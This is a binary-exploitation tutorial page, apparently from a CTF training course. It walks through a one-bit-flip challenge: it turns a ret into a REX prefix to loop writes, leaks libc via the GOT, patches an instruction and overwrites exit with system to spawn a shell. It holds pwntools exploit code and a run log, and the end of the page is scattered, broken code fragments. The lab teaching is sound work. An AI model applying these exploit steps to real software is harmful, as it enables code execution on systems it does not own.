Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. www-challenge-03
10 min read

Challenge 3

Finally, Challenge 3. We lose the overflow we got in Challenge 2 and now must figure out how to still reach the end goal.

This challenge might be difficult without understanding what Shellcoding is. Although it is very doable without looking there, it might be beneficial to read that first. A strong understanding of assembly, especially Opcodes, is required for this problem.

Stuck? Open one hint at a time before reading the solution.

Hint 1
One bit flip can't do much on its own. What would it take to get more flips? Compare where memory_write_inator sits in memory with main.
Hint 2
If memory_write_inator never returned, execution would run on into the next function, and main calls memory_write_inator again. Which single bit of ret (0xc3) turns it into an instruction that's harmless here?
Hint 3
With unlimited flips you can also read: the program shows the byte at the address you pick, so flip a bit and flip it back. Read a GOT entry to find where libc is.
Hint 4
Overwriting exit's GOT entry with system still needs /bin/sh as the argument. Look at the instruction that loads exit's argument, and at what rdx points to after scanf and getchar read your input.
Hint 5
Rewrite the 5-byte mov edi, 1 as mov rdi, rdx (3 bytes; see Instructions in Assembly) followed by two nops.

Initial Escape

This challenge is identical to the previous challenge, except this time there's no buffer overflow. We're still allowed to modify one bit anywhere in the program; however, this is the only input we're granted.

Only changing one bit will never be enough to achieve a significant change in the code. As of now, we're at a loss for vulnerabilities to exploit: no buffer overflow, no GOT overwrite, and no format strings. We need a way to write more bytes into the text segment to influence more change.

To do this, we look to the format of the code. Notice that main has the highest address of the functions available. Most notably, main is just above memory_write_inator. This is crucial! We need a way to write more bytes; therefore, we need a way to call memory_write_inator more than once. To save space, the compiler stacks functions directly next to each other. We can easily print this to see it in action:

nasm
1...
20x00000000004014f0 <memory_write_inator+379>:  call   0x401040 <write@plt>
30x00000000004014f5 <memory_write_inator+

Therefore, by removing the ret instruction, the end of memory_write_inator will keep executing instructions and bring us back to main. Fortunately, main calls memory_write_inator, meaning we can induce an infinite loop! This infinite loop will allow us to change an infinite number of bits.

Checking the Opcode table, there are several bits we can change that won't cause a crash. By this, I mean to look for instructions that regardless of argument and return won't cause the program to SEGFAULT. ret has Opcode 0xc3 = 1100 0011. If we change the first bit, this becomes 0100 0011 = 0x43 = REX.XB. You can read more about Register Extension Instructions in Assembly, but know that this does nothing. Therefore, this code will run without a hitch and keep executing! It turns into the following:

nasm
10x00000000004014f6 <memory_write_inator+0181> leave
20x00000000004014f7 <memory_write_inator+0182> rex.XB
30x00000000004014f8 <main+0000

This is our escape: flipping bit 0 at 0x4014f7.

Extending Write-What-Where

Now that we have infinite write-what-where, we can check a series of exploits. In this case, the one that makes the most sense is a GOT Overwrite. The end goal can either be calling win or calling system("/bin/sh"). This write-up will show the latter to prove a more difficult challenge that can suit more challenging scenarios (i.e., no win function).

To call system, we must assume ASLR is turned on. We haven't detailed much of ASLR yet -- ASLR is PIE for the library (libc) file. Therefore, without a leak, we can't guarantee the address of any function in the file. Therefore, we must leak an address first. We decide to overwrite exit because we can instantly decide when it gets called:

nasm
10x000000000040148c <+279>:   mov    eax,DWORD PTR [rbp-0x1c]
20x000000000040148f <+282>:   test   

This checks whether the input, rbp-0x1c, is not between 0 and 7. If it's not, it calls exit(1). We can easily control when this is executed, so this is a good route.

We'll need a way to leak the data. Fortunately, the binary prints out whatever byte we choose to change! Therefore, we can write a function that gets that line, and then flips and unflips a bit. First, let's write a function that flips a bit at an address:

python
1def bit_modify(addr, bit):
2    # send the address
3    p.recvuntil(b"for you:\n")
4    p

Then, let's write a method that reads a byte. We'll need to send the address, read the byte, flip and unflip the bit, and then return the leaked byte.

python
1def read(addr):
2    # send the address
3    p.recvuntil(b"for you:\n")
4

Finally, let's write a method that turns one string into another. We can do this by XORing the two values to determine what bits must be changed, and then iterating across those bits and running bit_modify for each one.

python
1def string_modify(base, old, new):
2    to_change = bytes(a ^ b for a, b in 

With these, we can write a full exploit doing what we need.

Writing an Exploit

First, we need to permit infinite read-write by sending the bit to modify the ret instruction.

python
bit_modify(0x4014f7, 0)

Then, we need to leak libc. We'll iterate across 8 bytes, leaking one at a time.

python
1exit_got = bytearray()
2for i in range(8):
3    exit_got += read(elf.got.

Then, we can compute the base address of libc and the address of system@got.plt:

python
1libc.address = exit_got - libc.sym.exit
2system_got = libc.sym.system

Now, we need to write a way to pass /bin/sh into system. This is the hardest part. Consider this instruction:

nasm
0x000000000040149b <+294>:   bf 01 00 00 00  mov    edi,0x1

This loads the argument passed into exit. This is a 5-byte instruction, which is more than enough to something else. The challenge of understanding what to change this into lays in how scanf and getchar works.

In order for scanf to determine whether stdin has an integer for it to read (based on scanf("%d[^\n]")), it loads the contents of stdin into a heap-allocated buffer. It then parses this input and checks for the integer. If there is not an integer, rather than replacing the data back into stdin, it is left inside the heap buffer. The address of stdin is then replaced in libc with the heap address until it runs out, at which point stdin is returned to its place.

When getchar gets a character, it looks in the same place it expects to find the buffer. In this case, however, it finds the heap buffer to get the character. This yields the normal flow: the code gets the next character from input, which is currently inside a buffer. getchar uses rdx to perform the getchar, but does not clear this buffer after getchar.

Based on the above, we know that rdx contains the heap buffer filled with the contents of stdin. Therefore, if we put /bin/sh into stdin, it will eventually be loaded into rdx in a buffer! Therefore, if we change mov edi, 1 to mov rdi, rdx, we can get this as the argument to system!

We learned how to write this inside Instructions in Assembly.

nasm
1REX Prefix  48  (W=1, R=1, X=0, B=0)
2Opcode      89  (MOV r16/32/64 r/m16/32

This makes the instruction 48 89 d7. To fill the five bytes expected from the old instruction, we fill the last two bytes with nop. We can use string_modify to change the instruction:

python
string_modify(0x40149b, b"\xbf\x01\x00\x00\x00", b"\x48\x89\xd7\x90\x90")

Then, we need to perform the GOT Overwrite.

python
string_modify(elf.got.exit, exit_got.to_bytes(8, "little"), system_got.to_bytes(8, "little"))

Finally, to get shell! The address we pick doesn't matter, it just must be readable. Then, we send /bin/sh with a byte of padding (because of getchar)!

python
1p.recvuntil(b"for you:\n")
2p.sendline(b"0x47")
3
4p.recvuntil(b"flip:\n")

With this all together, we get a shell!

exploit.py
$ python3 exploit.py[+] Starting local process './chall': pid 115000[+] libc: 0x7f8f13687000[*] Switching to interactive mode$ cat flag.txtIFC{PL4C3H0LD3R_FL4G_H3R3!}
384
>
: nop
40x00000000004014f6 <memory_write_inator+385>: leave
50x00000000004014f7 <memory_write_inator+386>: ret
60x00000000004014f8 <main>: push rbp
70x00000000004014f9 <main+1>: mov rbp,rsp
80x00000000004014fc <main+4>: sub rsp,0x40
90x0000000000401500 <main+8>: mov rax,QWORD PTR fs:0x28
10...
>
push
rbp
40x00000000004014f9 <main+0001> mov rbp, rsp
eax
,
eax
30x0000000000401491 <+284>: js 0x40149b <memory_write_inator+294>
40x0000000000401493 <+286>: mov eax,DWORD PTR [rbp-0x1c]
50x0000000000401496 <+289>: cmp eax,0x7
60x0000000000401499 <+292>: jle 0x4014a5 <memory_write_inator+304>
70x000000000040149b <+294>: mov edi,0x1
80x00000000004014a0 <+299>: call 0x4010f0 <exit@plt>
.
sendline
(
hex
(
addr
)
.
encode
(
)
)
5
6 # modify the bit
7 p.recvuntil(b"flip:\n")
8 p.sendline(str(bit).encode())
p
.
sendline
(
hex
(
addr
)
.
encode
(
)
)
5
6 # get the byte
7 p.recvuntil(b"-----------------\n")
8 x = bytes([int(b"".join(p.recvline().strip().split(b"|")).decode(), 2)])
9
10 # do and undo an action
11 p.recvuntil(b"flip:\n")
12 p.sendline(b"1")
13 bit_modify(addr, 1)
14
15 # return the leaked byte
16 return x
zip
(
old
,
new
)
)
3 to_change_bytes = [format(byte, "08b") for byte in to_change]
4
5 for byte in range(len(to_change_bytes)):
6 for bit in range(len(to_change_bytes[byte])):
7 if to_change_bytes[byte][bit] == "1":
8 bit_modify(base + byte, bit)
exit
+
i
)
4exit_got = u64(exit_got)
/
64
)
3MODR/M d7 (11 010 111 = 1101 0111 = d7)
5
p
.
sendline
(
b"//bin/sh\x00"
)
6
7p.interactive()